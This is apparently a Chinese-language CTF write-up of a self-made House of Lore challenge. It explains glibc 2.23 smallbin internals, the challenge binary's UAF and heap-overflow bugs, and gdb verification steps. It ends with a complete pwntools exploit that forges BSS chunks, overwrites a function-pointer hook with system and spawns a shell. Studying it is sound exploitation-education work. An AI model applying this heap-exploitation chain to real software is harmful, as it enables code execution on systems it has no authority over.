📎my_lore.zip

how2heap 里的 house_of_lore demo 只打印一句 Nice jump d00d,fake chunk 还摆在栈上 —— 学完依然不知道真实题目里这套技巧怎么落地。为此我自己写了一道题 my_lore(No PIE / glibc 2.23-0ubuntu10),把"BSS 上的函数指针 hook"和"可控缓冲区 name[0x100]"故意摆成相邻布局,然后用一条完整的利用链把它打穿。

全文按"漏洞 → 原理 → 布局 → 动态验证 → getshell"推进:先用 free 不清空指针拿到 UAF、用不限长的 edit 改 A->bk;再回到 glibc 源码,看清 smallbin 是从尾部取块、且只校验一条回链(bck->fd == victim);接着在 name 尾部伪造 chunk、用两次 malloc(0x100) 让第二次的返回值精确落在 hook - 0x10,写入 system 后由 run 触发 system("/bin/sh")。

除了 exp,文中还拆开了几个容易含糊的点:为什么 setname 刚好差 1 个字节写不到 hook、为什么 free 之后 rdi 会变成 main_arena、fake->bk 为什么不能指向自己、以及每一步在 gdb 里的检查点(bins / x/2gx / p/x $rax)。最终实测拿到 uid=1000(bgl1)。

0.知识点的补充

1.释放的堆块距离链表头的远近

只有unsorted bin和small bin满足fifo这条规律,所以这两个bin满足,最先进来的距离表头最远;

我们这里只是口头说一下,大家可能记忆不是那么深刻,我们直接用上一个例题,my_force进行演示一下;

unsorted bin

c
1
1280
1
32                //挡板,防止,我们释放堆块0和堆块2的时候合并
1
1280
1
32               //挡板,防止释放的堆块和top chunk合并
heap

【你应该看到】

Addr: 0x405000
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x405510
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x405540
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x405a50
Size: 0x30 (with flag bits: 0x31)

【释放】

c
4
0
4
2
heap

【你应该看到】

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405000
Size: 0x510 (with flag bits: 0x511)
fd: 0x7ffff7bc4b78
bk: 0x405540

Allocated chunk
Addr: 0x405510
Size: 0x30 (with flag bits: 0x30)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405540
Size: 0x510 (with flag bits: 0x511)
fd: 0x405000
bk: 0x7ffff7bc4b78

Allocated chunk
Addr: 0x405a50
Size: 0x30 (with flag bits: 0x30)

Top chunk | PREV_INUSE
Addr: 0x405a80
Size: 0x20580 (with flag bits: 0x20581)

此时我们查看一下bins

【bins】

fastbins
empty
unsortedbin
all: 0x405540 —▸ 0x405000 —▸ 0x7ffff7bc4b78 ◂— 0x405540 /* '@U@' */
smallbins
empty
largebins
empty

看到没,我们最先释放的那个堆块0距离链表头最远;

2.释放的堆块进入top chunk的情况:

前提条件:被释放的堆块紧邻top;

块大小>0x80(也就是不在fastbin范围)

2.26以及以上,tcache已满,或该大小没有tcache栈;

3.malloc的时候在本漏洞中做了什么

victim = last(bin);              /* ① victim = bin->bk = A */
bck    = victim->bk;             /* ② bck = A->bk = fake */

if (bck->fd != victim)           /* ③ 检查 fake->fd 是否等于 A */
    malloc_printerr("corrupted");

set_inuse_bit_at_offset(victim, nb);   /* ④ 标记 A 已使用 */

bin->bk = bck;                   /* ⑤ bin->bk = fake    尾部变了! */
bck->fd = bin;                   /* ⑥ fake->fd = bin    fake 的 fd 被改写! */

return chunk2mem(victim);        /* ⑦ 返回 A + 0x10 = A 的用户指针 */

2.静态分析

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 size; // [rsp+8h] [rbp-28h]
  int v5; // [rsp+14h] [rbp-1Ch]
  __int64 nbytes; // [rsp+18h] [rbp-18h]
  unsigned int v7; // [rsp+20h] [rbp-10h]
  unsigned int v8; // [rsp+24h] [rbp-Ch]
  unsigned int v9; // [rsp+28h] [rbp-8h]
  int v10; // [rsp+2Ch] [rbp-4h]

  setvbuf(_bss_start, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  puts("=====================================");
  puts("  my_lore : House of Lore lab");
  puts("=====================================");
  printf("[*] name = %p\n", &blob);
  printf("[*] hook = %p\n", &qword_4042A0);
  printf("[*] cmd  = %p\n", &cmd);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                printf("1. alloc\n2. edit\n3. show\n4. free\n5. setname\n6. setcmd\n7. run\n8. quit\n> ");
                v10 = read_int(0);
                if ( v10 != 1 )
                  break;
                v5 = slot_alloc();
                if ( v5 >= 0 )
                {
                  size = read_size("size: ");
                  if ( size )
                  {
                    ptrs[v5] = malloc(size);
                    sizes[v5] = size;
                    printf("[%d] = %p (size=%zu)\n", v5, (const void *)ptrs[v5], size);
                    printf("data: ");
                    read(0, (void *)ptrs[v5], size);
                  }
                  else
                  {
                    puts("[-] bad size");
                  }
                }
                else
                {
                  puts("[-] full");
                }
              }
              if ( v10 != 2 )
                break;
              v7 = read_int("idx: ");
              nbytes = read_size("len: ");
              if ( v7 >= 0x10 || !ptrs[v7] )
                goto LABEL_21;
              printf("data: ");
              read(0, (void *)ptrs[v7], nbytes);
              puts(&byte_402122);
            }
            if ( v10 != 3 )
              break;
            v8 = read_int("idx: ");
            if ( v8 >= 0x10 || !ptrs[v8] )
              goto LABEL_21;
            write(1, (const void *)ptrs[v8], sizes[v8]);
            puts(&byte_402122);
          }
          if ( v10 != 4 )
            break;
          v9 = read_int("idx: ");
          if ( v9 < 0x10 && ptrs[v9] )
            free((void *)ptrs[v9]);
          else
LABEL_21:
            puts("[-] bad idx");
        }
        if ( v10 != 5 )
          break;
        printf("name: ");
        read(0, &blob, 0x100u);
        puts(&byte_402122);
      }
      if ( v10 != 6 )
        break;
      printf("cmd: ");
      read(0, &cmd, 0x3Fu);
      byte_4042FF = 0;
      puts(&byte_402122);
    }
    if ( v10 != 7 )
      return 0;
    if ( qword_4042A0 )
      qword_4042A0(&cmd);
    else
      puts("[*] hook is NULL");
  }
}

这个函数也是相对简单,里面存在两个漏洞;

漏洞一:在43到48行这里,这里的是一个堆溢出的漏洞

漏洞二:80到81行,这里存在uaf;

题目漏洞利用思路:

其实,这道题我们可以看出来,和之前的自命题不同的是多了一些不同的选项:书名,cmd,run;其实这是为了,专门进行练习这道题目写的;我们来详细看看

.bss:0000000000404120                                         ; main+327↑o
.bss:00000000004041A0 blob            db    ? ;               ; DATA XREF: main+75↑o
.bss:00000000004041A0                                         ; main+404↑o
.bss:00000000004041A1                 db    ? ;
.bss:00000000004041A2                 db    ? ;
.bss:00000000004041A3                 db    ? ;

......

.bss:0000000000404296                 db    ? ;
.bss:0000000000404297                 db    ? ;
.bss:0000000000404298                 db    ? ;
.bss:0000000000404299                 db    ? ;
.bss:000000000040429A                 db    ? ;
.bss:000000000040429B                 db    ? ;
.bss:000000000040429C                 db    ? ;
.bss:000000000040429D                 db    ? ;
.bss:000000000040429E                 db    ? ;
.bss:000000000040429F                 db    ? ;
.bss:00000000004042A0 ; __int64 (__fastcall *qword_4042A0)(_QWORD)
.bss:00000000004042A0 qword_4042A0    dq ?                    ; DATA XREF: main+93↑o
.bss:00000000004042A0                                         ; main+480↑r ...
.bss:00000000004042A8                 align 20h
.bss:00000000004042C0 cmd             db    ? ;               ; DATA XREF: main+B1↑o
.bss:00000000004042C0                                         ; main+44B↑o ...
.bss:00000000004042C1                 db    ? ;
.bss:00000000004042C2                 db    ? ;
.bss:00000000004042C3                 db    ? ;
.bss:00000000004042C4                 db    ? ;
.bss:00000000004042C5                 db    ? ;
.bss:00000000004042C6                 db    ? ;
.bss:00000000004042C7                 db    ? ;
.bss:00000000004042C8                 db    ? ;
.bss:00000000004042C9                 db    ? ;

这里我们就可以看出来,这里记录书名的地址和cmd指令的地址是在bss段;而且相距很近;

    if ( qword_4042A0 )
      qword_4042A0(&cmd);

我们看代码的101到102行,这里竟然调用了4042a0的地址,并将cmd的地址传了参数,这样我们如果将4042a0的地址改为system的地址,然后将cmd中的内容改为bin/sh的地址,不就行了;

3.动态验证

gdb -q ./my_lore
set confirm off
set pagination off
b main
r
d 1
d free
c

之后申请两块空间

1
256
1
144
4
0

这里释放chunk块0让他进入unsorted bin,一会泄露libc的地址;

p/x $rdi
set $A = $rdi                    //将chunk0的地址给a
set $Ac = $A - 0x10              //拿到chunk0的头
p/x $A
finish

这里部分读者可能会好奇,这里我不是已经将chunk0给释放了吗?为什么这里的rdi不是指向main_arena,而是还指向chunk0这是怎么回事呢?这是因为我们上面打了断点,在free,所以现在free还没执行呢;

这里,可能还有一部分读者有疑问的点是:为什么在释放之后rdi会指向mian_arena?

这和free的源码有关:

void __libc_free (void *mem)              /* rdi = mem = 0x405010 */
{
    ...
    p = mem2chunk (mem);                  /* p = 0x405000 */
    ...
    ar_ptr = arena_for_chunk (p);         /* 0x7ffff7bc4b20 */
    _int_free (ar_ptr, p, 0);
    /*         ↑ rdi    ↑ rsi ↑ rdx */
}

也就是free的内部还会调用int_free(arena, chunk,0)——第一个参数arena又被放进rdi中;

x/4gx $Ac
set $ma = *(long*)$A - 0x58         //拿到main_arena的基地址
p/x $ma + 0x158                     //small bin的链表地址
b malloc
c
1
1280                                //将chunk0搞进small bin

set $leak = *(long*)$A
set $libc = $leak - 0x3c4c78
p/x $libc
set $sys = $libc + 0x45390
p/x $sys
set {long}0x404280 = 0
set {long}0x404288 = 0
set {long}0x404290 = $Ac
set {long}0x404298 = 0x4042c0
set {long}0x4042d0 = 0x404280
set {long}0x4042c0 = 0x0068732f6e69622f     

这里伪造了两个chunk块,这里是怎么做到的呢?以及为什么要这样做呢?

答:当small bin中只有一个块a的时候:

然后我们加入fake之后进行malloc的时候就会进行安全检查

bck = victim->bk; 
if (__glibc_unlikely (bck->fd != victim))    
    malloc_printerr ("malloc(): smallbin double linked list corrupted");

但是,这个检测也就这一行,我们怎么绕过呢?

我们将该A->bk(虽然这里a已经释放了,但是别忘了,我们有uaf漏洞);

A->bk = fake;

改完之后就是这样:

  bin->fd = A          bin->bk = A     
  A->fd   = bin        A->bk   = fake  ← 只有这里变了
  fake->fd = A         fake->bk = fake2

我们看看,当我们第一次进行malloc的时候,glibc干了什么?

victim = last(bin);              /* ① victim = bin->bk = A */
bck    = victim->bk;             /* ② bck = A->bk = fake */

if (bck->fd != victim)           /* ③ 检查 fake->fd 是否等于 A */
    malloc_printerr("corrupted");

set_inuse_bit_at_offset(victim, nb);   /* ④ 标记 A 已使用 */

bin->bk = bck;                   /* ⑤ bin->bk = fake     尾部变了! */
bck->fd = bin;                   /* ⑥ fake->fd = bin    fake 的 fd 被改写! */

return chunk2mem(victim);        /* ⑦ 返回 A + 0x10 = A 的用户指针 */

也就是说,我们只需要进行fake构造的时候,让它的fd指向a就行了;

c
x
1
256
finish
c
x
1
256
set {long}0x4042a0 = $sys
c
7
拿到shell

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
my_lore —— House of Lore 自出题 exp(glibc 2.23-0ubuntu10)

利用链:
  [1] UAF 泄露 libc:free A(0x100) -> unsorted;再 malloc(0x500) 触发 A 进
      smallbin[0x110],show(A) 读 A->fd = bin 头 = libc+0x3c4c78
  [2] 在 BSS 的 name[] 尾部布置 fake chunk:
        fake = &hook - 0x20,  fake->fd = A,  fake->bk = &cmd
  [3] 在 cmd[] 里布置 fake2:cmd->fd = fake(满足第二次的 bck->fd == victim)
  [4] UAF 改 A->bk = fake
  [5] malloc(0x100) -> A;再 malloc(0x100) -> fake
      (返回地址 = &hook - 0x10,往 +0x10 写就是 hook)
  [6] hook = system,cmd = "/bin/sh",run -> system("/bin/sh")

libc 偏移(本目录 libc-2.23.so 实测):
  main_arena = 0x3c4b20        bin_at(av,17) = 0x3c4c78
  system = 0x45390
"""
from pwn import *
import os
import re

context(arch='amd64', log_level=os.environ.get('LV', 'info'))
HERE = os.path.dirname(os.path.abspath(__file__))

LIBC_BIN17 = 0x3c4c78          # smallbin[0x110] 的 bin 头
LIBC_SYSTEM = 0x45390


def start():
    p = process(os.path.join(HERE, 'my_lore'), cwd=HERE)
    p.timeout = 4
    return p


def parse_leaks(p):
    p.recvuntil(b'[*] name = ')
    name = int(p.recvline().strip(), 16)
    p.recvuntil(b'[*] hook = ')
    hook = int(p.recvline().strip(), 16)
    p.recvuntil(b'[*] cmd  = ')
    cmd = int(p.recvline().strip(), 16)
    return name, hook, cmd


def alloc(p, size, data):
    p.sendlineafter(b'> ', b'1')
    p.recvuntil(b'size: ')
    p.sendline(str(size).encode())
    line = p.recvline()
    addr = int(re.search(rb'0x[0-9a-f]+', line).group(0), 16)
    p.recvuntil(b'data: ')
    p.send(data)
    return addr


def edit(p, idx, data):
    p.sendlineafter(b'> ', b'2')
    p.recvuntil(b'idx: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'len: ')
    p.sendline(str(len(data)).encode())
    p.recvuntil(b'data: ')
    p.send(data)
    p.recvuntil(b'\n')


def show(p, idx, n):
    p.sendlineafter(b'> ', b'3')
    p.recvuntil(b'idx: ')
    p.sendline(str(idx).encode())
    d = p.recvn(n)
    p.recvuntil(b'\n')
    return d


def free(p, idx):
    p.sendlineafter(b'> ', b'4')
    p.recvuntil(b'idx: ')
    p.sendline(str(idx).encode())


def setname(p, data):
    p.sendlineafter(b'> ', b'5')
    p.recvuntil(b'name: ')
    p.send(data.ljust(0x100, b'\x00')[:0x100])
    p.recvuntil(b'\n')


def setcmd(p, data):
    p.sendlineafter(b'> ', b'6')
    p.recvuntil(b'cmd: ')
    p.send(data.ljust(0x3f, b'\x00')[:0x3f])
    p.recvuntil(b'\n')


def run(p):
    p.sendlineafter(b'> ', b'7')


def main():
    p = start()
    name_b, hook_b, cmd_b = parse_leaks(p)
    log.info("BSS: name=%#x hook=%#x cmd=%#x", name_b, hook_b, cmd_b)

    # ---------- [1] 泄露 libc ----------
    A = alloc(p, 0x100, b'A' * 0x100)      # idx0
    G = alloc(p, 0x90, b'G' * 0x90)        # idx1:guard,挡 A 与 top 合并
    log.info("A=%#x G=%#x", A, G)

    free(p, 0)                              # A -> unsorted
    X = alloc(p, 0x500, b'X' * 0x500)       # idx2:把 A 排进 smallbin[0x110]
    log.info("X=%#x", X)

    leak = u64(show(p, 0, 0x100)[:8])
    libc = leak - LIBC_BIN17
    assert libc & 0xfff == 0, "libc 基址未页对齐: %#x" % libc
    log.success("A->fd=%#x  libc=%#x", leak, libc)

    fake = hook_b - 0x20                    # fake chunk 头
    assert name_b <= fake and fake + 0x20 <= hook_b, "fake 不在 name 内"
    log.info("fake = %#x  user = %#x  (hook @ %#x)", fake, fake + 0x10, hook_b)

    # ---------- [2] name 里布置 fake chunk ----------
    # 偏移 0xE0(相对 name 起点)= fake chunk 头
    pay = b'\x00' * 0xE0
    pay += p64(0)          # fake->prev_size
    pay += p64(0)          # fake->size(House of Lore 不校验)
    pay += p64(A - 0x10)   # fake->fd 必须 == victim(= A 的 chunk 头)
    pay += p64(cmd_b)      # fake->bk = fake2(cmd 作为 chunk 头,其 fd 在 cmd+0x10)
    assert len(pay) == 0x100
    setname(p, pay)

    # ---------- [3] cmd 里布置 fake2 ----------
    # cmd->fd 必须 == fake;cmd 开头同时放 "/bin/sh" 备用
    pay2 = b'/bin/sh\x00' + b'\x00' * 8 + p64(fake) + p64(0)
    setcmd(p, pay2)

    # ---------- [4] UAF 改 A->bk ----------
    edit(p, 0, p64(leak) + p64(fake) + p64(0))
    log.success("A->bk = fake(%#x)", fake)

    # ---------- [5] 两次 malloc ----------
    a1 = alloc(p, 0x100, b'1' * 0x100)      # 第一次:返回 A
    log.info("malloc#1 -> %#x (expect A=%#x)", a1, A)
    assert a1 == A

    sys_addr = libc + LIBC_SYSTEM
    # user = fake+0x10 = hook-0x10;+0x10 处是 hook,+0x30 处是 cmd
    data = b'A' * 0x10 + p64(sys_addr)
    data += b'\x00' * (0x30 - len(data))
    data += b'/bin/sh\x00'
    data = data.ljust(0x100, b'\x00')

    a2 = alloc(p, 0x100, data)              # 第二次:返回 fake 的 user
    log.info("malloc#2 -> %#x (expect user=%#x)", a2, fake + 0x10)
    assert a2 == fake + 0x10
    log.success("hook = system(%#x)", sys_addr)

    # ---------- [6] 触发 ----------
    run(p)
    p.sendline(b'echo PWNED_LORE; id; exit')
    print(p.recvrepeat(3).decode(errors='replace'))
    p.close()


if __name__ == '__main__':
    main()